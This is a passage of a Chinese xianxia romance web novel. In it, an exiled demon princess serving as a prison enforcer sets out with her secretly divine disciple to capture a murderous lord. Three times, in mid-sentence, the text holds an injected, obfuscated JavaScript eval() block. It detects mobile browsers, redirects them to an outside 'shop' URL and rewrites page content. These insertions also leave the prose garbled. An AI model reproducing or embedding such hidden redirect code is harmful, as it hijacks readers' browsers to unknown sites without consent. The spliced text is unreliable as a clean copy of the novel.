那头罕见了的沉默了一瞬,然后换了父王过来,“妱儿,父王替你教训他了!他的脸肿成了猪头哈哈哈!” 岁妱当然知晓催月吐字不清是为何,可谁让他总是阴阳怪气的与她说话。 岁妱眼底划过一丝笑意,“谢谢父王,我就知道父王最疼我了!” 催月最宝贝的就是他那张脸,整个北荒,除了父王,没人敢碰他的脸一下。 是以少时,只要催月欺负她,父王保准往他的脸上招呼。 次次招呼,次次哭。 催月一哭,她自然就解气了。 “妱儿,是不是遇着什么麻烦了?跟父王说,父王替你想法子!” 她来无间炼狱三百年,除了偶尔能与父王说说话以外,没有回过一次北荒。 炼狱规矩,戴罪之身,不能回家。 如今听着熟悉的声音,岁妱忍下酸楚道:“父王,我收了一个弟子。” 北荒大君:“嗯?哪族的?多大了,臭小子还是小姑娘?” 岁妱想了想,“人族,应当有四百岁了,是个男子,还是我——” 话音未落,便被北荒大君打断,“妱儿,这弟子父王不喜欢。” “啊?” 转眼一想,岁妱又觉着她父王不喜欢合情合理。 毕竟她身边所有年轻的男子,父王都不喜欢,包括她大哥二哥。 原本岁妱还想着与父王说说这徒弟就是她意外结侣的凡人修士,看看父亲有没有法子,把玉照扔给别人当弟子。 眼下她觉着,要是真把这层关系说出来,她父王定会带着北荒子民踏破无间炼狱的大门。 莫说妖族,便是天界也动不得自天地初开便存于世间的无间炼狱。 为了子民着想,岁妱不敢说了。 “妱妱也不喜欢,但狱主非要我收下他,父王有法子把他扔给别人当弟子吗?” 北荒大君罕见的犹豫了一下,“是狱主的吩咐?” “是……” “这样啊,父王想想,让父王想想。” 岁妱原本就不抱太大希望,毕竟狱主乃是与天帝、天尊齐平的身份地位,共同掌管着三界,让她父王一个与狱主作对,着实太过为难。 “要不算——” “父王想到了!”北荒大君略显兴奋,“妱儿,天尊不是在百年前归位了吗?历来掌管三界律法的就是天尊,父王去天界与天尊说说,可否将你这弟子换个人。” 莫说归位的天尊与北荒并无交情,就是有交情,这等小事,天尊应当也没有兴致管。 若归位的天尊还是个脾性差的,那他们北荒还可能偷鸡不成蚀把米。 “算了,父王,我就是与你抱怨抱怨,他……”岁妱想到大殿前唤他师尊的男子,口不对心道:“还不错。” “妱儿!”北荒大君骤然严肃,“你可得记住先前的教训,莫要在情之一字上吃苦头了!” 在她父王眼中,玉照与太子,都是将她骗的团团转的人。 实则她除了运气不好以外,并未在感情里吃过苦头。 玉照是她不要的,至于太子…… 反正任她如何解释,父王都觉着她吃亏,她便也任他去了。 “我知道的,父王。” 随后岁妱又问了些北荒近日的情形,知晓已经许久不曾和相邻的魔族发生过摩擦后,扫了一眼香下的落灰,掐断了火光。 既然无法改变,那她欣然接受就是。 - 圆月起又落,日光透过云层落至峰顶,雀儿在漫山遍野的桃花枝间穿梭,鸟语啁啾。 水潭边的丹鹤啄着水中的鹅卵石,水面涟漪阵阵,倒映出错落有致的巍峨山峰。 忽然,古老悠远的铜钟声凭空而起,“咚——” 鸟雀惊飞,丹鹤歪头看向淅淅沥沥掉进谭中的花瓣。 铜钟余音还未结束,刚睡下不久的少女猛地起身睁眼,眸中清明,不见一丝睡意。 只见少女抬手一挥,下一瞬,她便出现在了灵鹫峰前。 “咚——” 第二道铜钟声响起,灵鹫峰前陆续来了许多人。 大多都与岁妱一样,从床榻上赶来的。 蓬头垢面,衣衫凌乱,到了此地才想起掐个清洁术,整理一下形象。 他们之所以如此迅速,便是因为刑罚低于千年的不会引来钟声。 但今日这钟,却响了两下。 两千年的刑罚,让众神差双眸发亮。 对于神差而言,刑罚越久,背后所代表的灵光便越多。 “这可是两千年的刑罚啊,上回那个千年的都有三十灵光呢。” 三十灵光,便能抵过三十年的刑期。 这个被判两千年的,只多不少。 就在众人激动之余,第三道钟声响了! “三千年!天啊,这活儿就是要老子的命,老子也得接了!都不许跟我抢!” 除了在外干事儿的,留在无间炼狱的神差几乎全数来了灵鹫峰前。 但也不是所有人,都全心全意的想要这个大活儿。 譬如那边闲谈的几位。 十丈外的日晷环着一圈浅金光晕, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13650645|143954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几位女神差围着立在日晷下的男子叽叽喳喳的,好不热闹。 比之姑娘们的兴致,男子则只是安静的垂首聆听,并无旁的反应。 偶有看过去的神差,也大都将好奇的目光放在了男子身上。 那人如盛莲的精致容色并不会被人当做女子,反而因着他颀长清瘦的身躯而多了一丝仙风道骨的意味。 岁妱注意到他垂放在身侧的指尖,缓慢的敲打在腿侧。 分明有些不耐,却没有落下神差们的脸面。 也是,以他的性子不太会与人起争执。 更何况无间炼狱中的神差,包揽了三界各族。若是一下不小心得罪了人,也不好收场。 魔族好战、妖族好美、神族与人族都好平安。 那几位女神差,一瞧便知晓是她们妖族的。 而她们围着的男子,正是她一夜未见的好徒儿。 岁妱头一回知晓他这般受女子喜欢,云仙还真是没说错,他之皮囊,妖之砒霜。 若不是他们之间有过一段,说不准她也会着了他的道。 岁妱沉思之际,玉照似是感觉到了注视他的目光,忽然抬头朝着岁妱的方向望来。 两人视线相对的一瞬,几个鎏金大字出现在了半空中。 岁妱的目光立马被吸引过去。 来了! 【瀛洲洲主江衡,屠城千里,罚业火三千年。】 周遭一片哗然。 凡界四海九州的洲主,便是他修为高深,只要不曾飞升,到底是一届凡人,寿命至多千年。 可以他所犯罪行,却要遭业火焚烧三千年。 往好处想,他还多赚了两千年。 但这些,都不是神差们所关心的。 几息转瞬而过,那几个鎏金大字逐渐消散之时,接踵而至的两个大字映入所有人眼中—— 一百。 一百灵光!那便是能减免一百年的刑罚! 岁妱满眼放光,蠢蠢欲动。 玉照刚当上神差,岁妱自不会指望他将活儿抢下来。 有人还在兴奋,有人却已经出手。 四面八方的玉牌腾空而起,只要将玉牌印在那鎏金之上,便代表着接下了这个活儿。 玉牌互相碰撞出清脆的叮铃声,为了抢下这一百灵光,现场乱做了一团。 “哎哟,谁拿玉牌砸我头!” “李清风,你敢偷袭本公子!” “啊——我的头发——” 喧闹声不绝于耳,从互相斗法逐渐上升为了肉搏,有人好不容易过关斩将将玉牌印了上去,却发觉玉牌并未有反应。 闹了半晌的众人这才发觉有人在混乱中渔翁得了利。 “谁?是哪个贼偷了姐姐的大活儿!” 先前在玉照跟前还温柔似水的神差,此时蓬头垢面的从人群中钻了出来,素手勾起滑落肩头的纱衣,双眸喷火。 她这一嗓子顿时让周遭安静了下来。 活儿都没了,还有什么好打的。 众人朝四周张望,都想知晓谁的动作那般快。 柔烟凌厉的眸子扫过众人的神色,透过缝隙,直勾勾的锁定了坐在石碑旁,左手托腮,右手食指转动玉牌的岁妱。 散发着淡淡鎏金光晕的玉牌亮的晃眼。 众人都顺着柔烟的目光看了过去。 岁妱勾起嘴角,歪头寻问:“都看我做什么?” “……” 柔烟心中的火气消了一些,尽管在此处并未有什么身份之分,但同为妖族,岁妱之名仍旧留有余威。 更何况在无间炼狱,论功绩,岁妱亦是佼佼者。 “你是何时出的手?”眼下,柔烟只剩好奇。 岁妱指向她凌乱的发,笑眯眯的道:“有人抓你头发的时候。” “……” 柔烟欲言又止,红唇嚅嗫半晌也没说出一个字来。 “散了散了,没意思。”有人百无聊赖的挥手离开。 其余人也兴致缺缺的很快散去。 只有玉照仍旧站在日晷下,身影挺拔,远远望着她。 待人散去几息后,岁妱指间的玉牌传来一道笑音,“师尊。” 5. 第5章 “怎么?” 他问:“神差说谎可会被罚?” 岁妱不解,“不会,你问这个做什么?” “方才第二道钟声响起之时,你的玉牌就落在了梅树上。” 岁妱抬眼,几步外的梅树上方正好是方才落下鎏金大字的位置。 她告诉柔烟的并非是实话。 “徒儿,为师教你的第一课,在无间炼狱,活儿是各凭本事抢来的,还有……”岁妱威胁道:“说谎不会被罚,质疑为师,会。” 那头沉默了一瞬,嗤笑道:“师尊好大的威风。” “不然呢?” 那头罕见的沉默了一瞬。 “行了,回去准备准备。” 岁妱起身,欲要离开之时,身后却传来一道声音,“等等。” 回头看去,竟是沈听。 见他神神秘秘地走过来,岁妱本以为他要问她那瀛洲任务的事儿,谁料—— “你昨日怎么没让玉照住去你的院子?” 岁妱:? “听花峰住的都是女子。” 沈听无语,“是,但他是你弟子,师徒可住同院,你不知道?” 岁妱真不知道,“住去踏月峰也是一样。” “那可不一样!”沈听来了火气,“你不知道,昨日他回踏月峰时,旁人是怎么说他的。” “怎么说的?” 提起昨日,沈听现在还提心吊胆地,生怕天尊一个不高兴,给他们一个渎神之罪,让他们又重新回去受罚。 “你晓得的,踏月峰里大多神差都是九厄的人,你与九厄本就不对付,玉照是你的徒弟,见他没与你同住反而回了踏月峰,说的话自然要多难听有多难听。” 岁妱脚步一顿。 眼前仿佛映出男子一人走进踏月峰,被人像看猴一般看他时的场景—— 孤寂落寞,还只能默默忍受的小可怜。 可那是从前的玉照。 如今这位,可不像是那般好欺负的人。 她看向沈听,“他受了委屈,你这么激动做什么?” 沈听支支吾吾,“我……我把他当朋友。” 岁妱:“人人都是你朋友。” 沈听说不过她,只能义愤填膺道:“哎呀,反正我昨夜听着那些话生气,就把你的名号拿了出来,告诉他们你非常喜爱这个弟子,要是知道他被欺负了,以后再有事求到你头上,你绝对不会帮忙!” “……你生气,拿我的名号?” 这还不是最重要的,最重要的是,“玉照当时便任由他们说话,没有反应?” 沈听颔首,随后又摇头,“也不是没有反应,就是一言不发的看着一棵梅花树,我瞧着都委屈。” 岁妱不解。 在她面前这般伶牙俐齿,怎的到了旁人跟前便任由他们欺负。 “是他让你来与我告状的?” 沈听摇头,“不是。” 他想起昨夜问玉照要不要将此事告诉岁妱时,玉照慢悠悠的道:“这点小事,怎么好劳烦师尊呢。” 沈听怎么说也在无间炼狱待了几百年,这点眼色还是有的。 怕岁妱因此得罪玉照,日后他回了天界再寻岁妱麻烦,他便特地来给她提个醒,“我告诉你,我这可是在帮你,以后你就等着谢我吧。” 岁妱虽不知他帮了什么,但还是随口道:“多谢。” 此时,远处走来一人拉沈听去喝酒,临走前,沈听侧头小声嘱咐,“妱妱,我可拿你当自己人,你别告诉别人这些话是我说的啊。还有,对玉照好些准没错,走了啊。” 望向沈听离开的背影,岁妱神情复杂的回头,却瞧见不远处的日晷下,玉照并未离开。 指尖点向玉牌,岁妱问:“在那儿站着做什么?” “师尊还没告诉我,何时出发,又需要做什么准备?” “……” 岁妱没带过弟子,并不知晓如何做一个师尊。 玉照所说确实又是她的疏忽,更何况沈听方才的那些话,字字句句都像是戳在她的脊梁骨上,说她这个师尊没有一点担当。 “昨夜,你被他们欺负了?” 风声从耳畔掠过,隐约之中,岁妱听见他说:“你是在……关心我?” “你是我徒弟。” 玉照意味深长道:“那师尊想如何做?” 岁妱认真想了想:“要不等我们回来,我揍他们一顿?” 玉照轻笑,“好啊。” “……你不信我?” “师尊多虑了。” “那你便是在怪我。” “无稽之谈。” 岁妱抬头看向不远处的那人,“玉照,若不然,你换个师尊呢?” 那头顿时沉默。 岁妱本就没什么耐心。 若不是看在从前那些破事儿与天界的脸面上,她怎会忍他到现在。 她就知玉照不可能对当年之事毫无芥蒂,表现出来的平和,不过假象而已。 若他愿意维持这种假象直到离开无间炼狱,她自然愿意配合。 可很显然,他时而愿意,时而不愿。 最后望了一眼日晷的方向,岁妱素手一翻,玉牌凭空消失后,她头也不回地朝着听花殿走去。 察觉到玉牌的光点熄灭后,玉照抬头看去,只能瞧见少女头也不回的背影。 浅褐瞳仁有一瞬被浓雾遮掩,霜寒遍布,冷意阵阵。 一息后,冷意又逐渐消散,像是从未出现过。 还是这般……没耐心。 …… 岁妱觉着,他不想好好与她说话,左右也不是什么大事,大不了挂着师徒的名头,桥归桥路归路就是。 玉指置于胸前,刚要掐诀,却闻到一抹冷香。 随气味而至的还有一道声音,“师尊。” 岁妱侧头看去。 随行而来的男子微微垂首,平直的长睫在眼睑下拓下一层阴影,瞧着竟比先前多了一丝温和,“师尊出行时想用什么法宝?” 在无间炼狱的神差,修为需要靠玉牌,法宝也只能在干活前去玲珑阁借,之后还要再还回去。 他们戴罪之身是这样的,身不由己,处处受限。 岁妱觑了他一眼,“乘风舟。” 整个无间炼狱最舒适也最快的飞行法宝。 她听说过,但从没借出来过。 “好。” 尽管心中余怒未消,但她怎么说眼下都是他师尊,该提醒的还是要提醒,“乘风很难借。” 以他刚刚成为神差,未有任何功绩的情况下,想借到乘风舟几乎是不可能的事情。 见玉照面不改色,岁妱轻笑一声,“行,若出行时没有乘风,便罚你留在无间炼狱扫地。” 她本就是因着气性刻意为难,谁料他还真敢接茬。 余光扫到他微微蹙眉,岁妱不动声色地勾起嘴角。 天真。 若他没借到,正好将他留在无间炼狱。 若他当真借到了,那也是他的本事,带他出去做事,应当不会拖她后腿。 余下的火气随着玉照单纯的回应尽数消散。 她略一扬眉,掐诀踏空,朝着听花峰而去。 缥缈之际,空中只余下一道:“乖徒儿,我能不能风光出行,就看你的了。” 身影消失一息后,玉照听出了岁妱话里的揶揄,原本紧拧的眉骤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13650646|143954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然松开,哪里还有方才一星半点的担忧。 还是这般…… 好哄。 不过一瞬,玉照眼中的笑意凝滞,回想起自己方才的所作所为,脸色顿沉。 不过两日。 才见了她区区两日! 不争气的东西。 指骨狠狠的抵在掌心,直到疼痛出现,双眸才猛的阖上。 再次睁开时,他眼底已清明一片,恢复如常。 - 回听花峰的途中,岁妱突然想起一事。 凌星还被她放在受刑的殿中,已经一天一夜了。 要不是想着出发去瀛洲前先将手上的事情处理了,她都忘了前些日子刚被她带回来的凌星。 该不会……死了吧。 她面色一变,身影极快地朝着凌星受刑的大殿而去。 没有她的命令,白羽仍在尽职尽责地来回晃悠,绑在柱上的少年估计已经出气多进气少了。 岁妱脚步不停,大手一挥,白羽顿时悬滞在空中。 她行至凌星身前停下,见他还在喘气,顿时放下心来。 不等岁妱开口,虚弱干涩的声音从少年喉咙中发出,“杀、杀了……” 岁妱双眼微眯。 还真是块硬骨头,被磨成这样了,竟还要杀了…… “我。” 岁妱:“……” 误会了不是。 “我不杀你,只要你乖乖去面壁,我保证,没人再敢这么折磨你。” 所有被她带到无间炼狱的人,但凡有一丝反抗之心,她都会先想法子将其制服。 凌星不算太难搞。 他仿佛已经虚弱到说不出话了,只有露在黑袖外的指尖轻轻动了动。 岁妱打了个响指。 缠在凌星身上的绳索自动消失,他无力地摔在地上。 玉照来时,瞧见的便是此番场景: 少女双手环胸,高高在上的站在那魔族面前,明明性子收敛许多,不似当年那般张扬,可玉照还是在她身上瞧见了肆意的影子。 回想起半个时辰前的不争气,玉照缓了心神,重新扬起嘴角,“师尊。” 正要将凌星送去无望山面壁的岁招,突然听见殿外传来一道声音。 岁妱回头,见是玉照。 他这么快就来见她,想来是吃了亏,正好,她能借此让他留下,别老在她跟前晃悠。 “既如此,那你便……” 他问:“逐云可以吗?” “……” “?” 岁妱眨了眨眼。 逐云乘风乃是三界都出名的法宝,乘风在无间炼狱,逐云据说是在天界。 他没借来乘风,却借来了比乘风更好的逐云? 她果然还是低估了他的背景。 “当然可以!”岁妱没有再刻意为难,“等我将他送去无望山,我们就出发。你先去山门前等我。” 玉照应了一声,转身之际,目光却似有若无地落在了凌星身上。 就在这时,岁妱身后突然发出一声低笑,“原来……你心里藏着的,是这个人啊。” 岁妱猛地回头,就见那条黑绸不知何时散落下来,挂在少年高挺的鼻梁间,浓如重墨的右眸里,金光若隐若现。 遭了! 岁妱立马掐诀,将凌星好不容易扒拉下来的黑绸重新覆盖上去。 可他什么都看见了,已经晚了。 闷闷的低笑声,不住地从凌星的喉咙中传出来。 “发生何事了?”玉照问。 “我都看见了哦。”干哑的嗓音带着丝丝恶劣的笑意回荡在大殿之中,像是顽童恶作剧成功后的开怀。 6. 第6章 “原来……你心里藏着的,是这个人啊。” 岁妱不可抑制地想起了那个温润如玉却又呆傻的男子。 凡界话本里总是爱写妖精与白面书生的故事。 但话本里却没说,有些书生,实则却是天帝的儿子,来凡界不过是渡劫。 炼狱三百年,岁妱也没看开。 只是相比从前,她再想起与太子的那段风流韵事时,不会再有不甘。 她可以平静面对,却不代表旁人能将此事拿出来说道! “真奇怪,怎会有人四百年了还喜欢同一个人呢?”凌星疑惑。 对于一个才三百岁的幼崽而言,他在凡界看多了见异思迁的人,于他而言,那才是正常的。 “她知——" “砰——” 话音未落,凌星脸上便结结实实地挨了一拳。 鼻血顺流而下。 他懵了一瞬,伸出猩红的舌尖舔了一下被鲜血划过的红唇,魔纹瞬起,“岁妱!” “砰——” 又是一拳。 凌星双眼一翻,彻底晕了过去。 岁妱甩动着又疼又麻的指骨,方才那一下她用了最原始的招式,没有任何法力。 “徒儿,这是为师教你的第二课,遇见试图攻心的魔,不要废话,直接打晕。” 身后并无回应。 岁妱疑惑回头,玉照这才扬起嘴角应了一声,“师尊说的是。” 不知是不是她的错觉,站在殿门外的人分明笑容和煦,可她却从他的眸中看出了一丝冷意。 玉照与凌星有仇? “天色不早了,我们何时出发?” 比起她,玉照显然对抓捕瀛洲洲主一事,更加热络。 - 将凌星扔去无望山的崖下面壁时,他早已苏醒,却不知为何变得乖巧了不少,安静得一言不发。 “几百年时间很快就过去了,你乖乖地别闹事,否则届时被天界知晓了,就不是面壁这般简单了。” 凌星气呼呼地别过头。 岁妱没理会他,看向身侧的玉照,“此处有狱主的法阵,我们先出去。” “好。” 两人身影渐行渐远,落后岁妱半步的玉照指尖突然轻动,一道白光飞至凌星的额间,他猛地张开嘴,喘着大气,恶狠狠地看着前方那抹仙风道骨的背影,“卑鄙!” 随即目光一动,视线又落在男子前方的少女身上,“无耻!” 他扁着嘴,抬手摸了一把红肿的鼻尖,疼得龇牙咧嘴。 双眸下意识打量着四周,见左右两边都被巨山环住,身后是瀑布,前方是聚集着瘴气的小路,莫说人了,连只鸟都没有,唯一的声音便是潺潺的流水声。 一想到还要在此处待上五百年,两颗小珍珠顿时顺着凌星的眼睑落下。 这头离开无望山的岁妱看着玉照当真拿出了逐云,双眸微睁,下意识咽了口唾沫。 美、太美了。 踩着五朵彩云的船身取了天的蓝,云的白,扬起的白帆随风流动,波光粼粼,几乎与天融为一色。 蓝瓦白柱的琼楼玉宇上盘着一只正在酣睡的瑞兽,瑞兽卷翘的长睫颤了颤,随着它眼眸睁开,逐云舟彻底展露出独属于它的风华。 “妱妱!” 云风踏过,沈听与柔烟赶来,目之所及顿时瞪大了眼,“这、这不是……” “你们怎么来了?”岁妱问。 沈听回过神来,不等他开口,一旁的柔烟率先道:“我与他接了一个小活儿,也在瀛洲的方向,便想着能不能先与你们同行。” 论起来,沈听也是柔烟带出来的,辈分上,也得唤柔烟一声师尊。 向来有弟子的神差,干活儿时都是两人同行。 柔烟在等她回答。 岁妱倒是没有意见,但逐云舟是玉照借来的。 岁妱刚望过去,便听玉照道:“这法宝是替师尊借来的,自然是听师尊的。” 他怎的突然这般乖巧了? 仿佛他们当真是寻常师徒一般。 “啧。”柔烟牙酸了,余光扫了一眼还在对逐云舟惊叹不已的沈听,“都是做弟子的,怎的区别这般大。” “行了,先上去吧。”岁妱瞧见天色不早,没再多想,转头问柔烟:“你们去哪儿?” “黑海。” 黑海正好位于四海九州的中央,属于凡界最混乱的地带。 岁妱几人上了逐云舟后,瑞兽动了动垂下的尾巴,彩云腾空,不过片刻,他们便已至于云端。 “天啊,这竟然是真的逐云舟。” 沈听的赞叹之词不停地往外冒,柔烟无语地瞧了他一眼,余光瞥见一直随行在岁妱身后的玉照,眼珠子转了转,“玉照,能不能麻烦你陪我徒弟在船上四处走走?” 差点流哈喇子的沈听吸回口水,满眼惊恐,“师尊,不用,我——” 话音未落,便收到柔烟警告的眼神。 比起天尊来,他更怕师尊,犹豫道:“玉、玉照……要不你陪我逛逛?” 玉照眼底闪过一丝不耐。 沈听猛地屏住了呼吸。 柔烟见自己使唤不动,只得看向岁妱。 岁妱:? 柔烟:聊聊。 岁妱:行。 岁妱回头看向玉照,“若是你不想走动,便带沈听去寻间空屋子休息会儿。” 玉照的目光在岁妱与柔烟之间走了一个来回,随即并未多说什么,朝着沈听走去。 沈听心惊胆战地跟着玉照走到了船尾,见四下无人,这才小声讨饶,“天尊,我师尊不知晓你身份,要是有得罪之处,您大人不记小人过,千万别和她一般计较。” 紧张了半晌,却没有等到任何回应。 沈听小心翼翼的抬首,却见方才在众人跟前还仙风道骨、温润如玉的天尊,此刻却双手环胸,轻靠在栏杆处,眉目间噙着淡淡的慵懒之意,俨然一副风流贵公子的做派。 这……这…… 沈听小心轻唤,“天尊?” “这逐云舟上,有叫天尊的?” 沈听立马明白过来,“玉照,我说错了,玉照,您别跟我师尊计较,她什么都不知道,她……” “别紧张。”从容的嗓音仿佛天生带着一缕安抚之意,“既是玉照,怎会与前辈计较。” 沈听见他神情不似作假,这才彻底放下心来。 抹了一把头上的汗,云风一过,才发现后背早已被汗水打湿。 他打了个寒战,余光却忍不住放 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13650647|143954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在身侧的男子身上。 若他一直是先前在岁妱跟前那副内敛冷淡的性子,沈听绝不会怀疑他的身份。 可眼下他敛去仙气,慵懒随性之意弥漫而出,令他不禁想到与他同样位居高位,不苟言笑的天帝。 都是拥有神格的神仙,为何这位,如此与众不同? “会钓鱼吗?” “啊?” 沈听回过神来,看向一望无际的云端,他们在天上,怎么钓鱼? 与此同时,站在船头的两人同样望着缓慢流动的云层,可说的却不是钓鱼的事儿。 “你把他们支走,到底想说什么?” 柔烟啧了一声,“你这性子怎的还是这般急。” 岁妱挑眉,歪头看她,“想叙旧?” “威胁我?”柔烟眼尾上挑,“你现在的修为可被封了,就算叙旧,我俩也至多打个平手。” 虽然同为南北荒的帝姬,但论修为实力,他们这一辈中,没人比得过岁妱。 连魔族少君都打不过的人,谁敢惹她。 但现在不同,大家修为都被封了,就算打起来也不过半斤八两。 柔烟倒是高兴了,岁妱念及此却满心灰暗。 她嗤笑一声,“谁要跟你打,我可要攒着灵光出去呢,用在你身上,多浪费。” “……” 柔烟咬牙,“你就狂吧,瀛洲这事儿要是弄不好,你在无间炼狱不败的名声可就毁了。” “这就不劳你操心了。” “行,我不跟你吵,我找你是为了别的事儿。” 岁妱不理她,柔烟咽下飞窜而起的小火苗,回头瞧了一眼,确定身后无人,这才道:“你对你那徒弟,什么想法?” 什么意思? 岁妱怪异的看向她,“想法?” 柔烟挑眉,大方道:“男女之间的想法。” “……” “我在灵鹫峰时就看上他了,我喜欢他,想把他拿下。” “……” “你要是对他没意思,我可就动手了。” “……” 柔烟皱眉,“你说话啊,装什么哑巴。” 她们妖魔两族,向来是这样的,直来直往。喜欢便去争取,就算被拒,也不会觉得有什么。 但问题的关键便在于,玉照与她有过一段儿,她除了沉默,给不出任何回应。 “你生气了?不然为什么不说话。”柔烟疑惑的看向她。 岁妱看了她一眼,柔烟的模样算不上精致,五官拆开来看并非完美,可结合她媚骨天成的气质,一颦一笑中都带着勾人的意味。 将妖之一字散发到了极致。 “岁妱,说话!”柔烟的耐心也不怎么好。 这都是什么破事儿! 岁妱见她实在执着,忍不住试探道:“是这样啊,如果我看上沈听了,你如何想?” 话音落下的同时,一只云履正要从舫中踏上船头,却在抬步的瞬间顿住。 沈听:? 不等他想明白岁妱怎么突然就看上他了,便察觉背后传来阵阵冷意。 他打了个寒颤,“玉照,你觉不觉着这地方有些冷啊?” 他身后的昏暗中,缓缓响起玉照的声音,“冷吗?” 7. 第7章 沈听下意识回头看向玉照。 只见男子淡定从容的双手环胸靠着漆柱,似乎并未将岁妱方才的话放在心上。 “你看上沈听了?” 岁妱:“我只是打个比方。” 沈听不知为何,悬着的心竟然狠狠地放了下来,松了口气。 这气还未完全顺下来,便听她师尊道:“我就说,那小子除了会惹麻烦一无是处,你要是能看上他,我笑你一辈子。” 沈听:? 他在他师尊眼里,如此差劲? 船头的两人都不曾注意到身后的舫中有人在偷听。 岁妱没有理会柔烟的话,继续问:“又假如,你和沈听好过一段儿,然后我看上他了,你如何想?” 柔烟无语:“……你这是什么狗屁问题,你和玉照好过?” 岁妱:“假如。” 柔烟虽然不理解,但还是回道:“好过又不是正好着,我不喜欢了,难不成还不让别人喜欢他?咱们妖魔两族对情之一字向来是喜欢便在一起,不喜欢便分开,这有什么的。” 想了想,柔烟又补上一句,“不过,此事你问我没用,还是得看沈听的意思。” 岁妱频频点头,给与肯定,“你说的没错,此事你问我没用,还是得看玉照的意思。” 柔烟怔愣一瞬,突然想到了什么,猛地侧头看向岁妱。 正欲开口,却见这女人眯眼笑着,嘴角边若隐若现的不是梨涡,而是对她的威胁。 :我们好过这事儿说出去,等死! “……” 柔烟动了动唇,最后什么都没说出来,抬手给她比了个大拇指。 余光突然瞥见不远处的身影,柔烟蹙眉,“你们在那儿站着做什么?” 沈听下意识回头看向玉照,却见玉照已经先抬步越过他,走上船板,他一见连忙要跟上,却忽然觉着有些不对劲。 朝着玉照方才站着的地方看去,只见那漆柱不知为何掉落了些木屑下来,柱身也莫名多了四道划痕。 按理说,逐云舟不该这般脆弱才是。 “沈听,你还在那儿站着做什么呢?” 沈听来不及多想,听见师尊声音的瞬间,身子便做出了反应,连忙踏上船板。 柔烟的目光从玉照脸上一晃而过,随后落在沈听身上,顿时蹙眉,“你沐浴不擦身子?” 沈听此时才注意到自个儿除衣衫外,肉眼可见的肌肤都湿漉漉的。 想起方才在船尾钓的‘鱼’,他真是欲哭无泪。 可那是天尊用法术召来的小龙,他若是解释,必定要暴露天尊的身份。 只能老实巴交的点头,“师尊,我忘了。” 这下在师尊眼里,显得他更蠢了。 果不其然,柔烟无语望天,大步流星的朝着舫中走去,“还不过来。” 沈听欲哭无泪,“来了师尊。” 此时船头上只剩下两人。 岁妱不确定玉照方才听见了多少,但仔细一想,她也并未说什么不入耳的话。 “岁妱。” 岁妱不知为何,心尖一颤,并未注意到他的称呼,“嗯?” “我也沐浴了。” “嗯?”岁妱惊讶抬头。 站在离她五步外的男子面色如常的看着她,除了最外层那件水墨纱衣外,脖颈与脸颊都覆盖着一层细密的水珠,额前的几缕碎发同样湿漉漉的,瞧着像是方才过了水,还未擦干身子。 岁妱:“……” 在玉照坦然的目光下,岁妱果断的抬手掐诀,替他烘干了水渍。 她才不会为了省那一点灵光,像柔烟那般亲力亲为。 待玉照身上干爽后,岁妱瞧了一眼已近黄昏的天色,“还有七日才能抵达瀛洲,这几日你好生歇息,养足精神。” 察觉到始终落在自己身上不曾移开的目光,岁妱不解,“你还有事?” 玉照看着岁妱,仿佛已经说过千万句话,最终却似笑非笑的落成了一句,“原来你喜欢沈听啊。” 他听话只听一半? 岁妱动了动唇,本想解释什么,可他这语气听着并不令人高兴,于是话到了嘴边就变成,“那咋了?” 玉照:“……” 方才还略微上扬的桃花眼冷了下来。 岁妱打着哈欠,朝屋内走去,“行了,我身子有些乏了,先去歇会儿。” - 岁妱一觉睡到了深夜。 月光透过琼楼轩窗,落在少女纤细柔美的轮廓上,周遭静谧的出奇,她却双目圆睁,再睡不着一点。 一刻钟前,她做了一个梦。 梦中的玉照仍旧是那副风光霁月的雅致模样,只是下一瞬,他眼神骤然冷漠,掌心握刀,直戳她心口。 她声声泣血:“为什么?” 玉照说:“你该死。” 惊醒的一瞬,她差点冲去玉照房中,先一步将其扼杀。 梦境太过真实,以至于她到现在还未想通,她凭什么该死? 气息紊乱,在体内横冲直撞。 岁妱连着深呼吸了好几口,才渐渐平复下来。 自从玉照出现,她胡思乱想的时间便过于多了。 如今都梦都如此光怪陆离。 若是在干活儿时也这般分心,那她便可以提前告知北荒,让父王来瀛洲领尸体了。 稳了心神后,岁妱开始琢磨起这次的任务来。 天界定罪时并不会告知前因,神差也只能得到只言片语的信息。 是以如何找到人,再如何将人带回去,需要神差自己想法子。 有些狡猾之辈,将神差溜个三五年都是常事。 瀛洲这般大,洲主江衡虽不是九洲洲主中修为最高的,但他若想藏着,一时半会她也没有别的办法,只能先去被他屠过的城瞧瞧,或许会有些收获。 只要能办完这个差事,她很快便能离开无间炼狱了。 清泠的云风落进屋内,吹拂过少女柔软的发丝,她嘴角含笑,眼皮渐渐阖上。 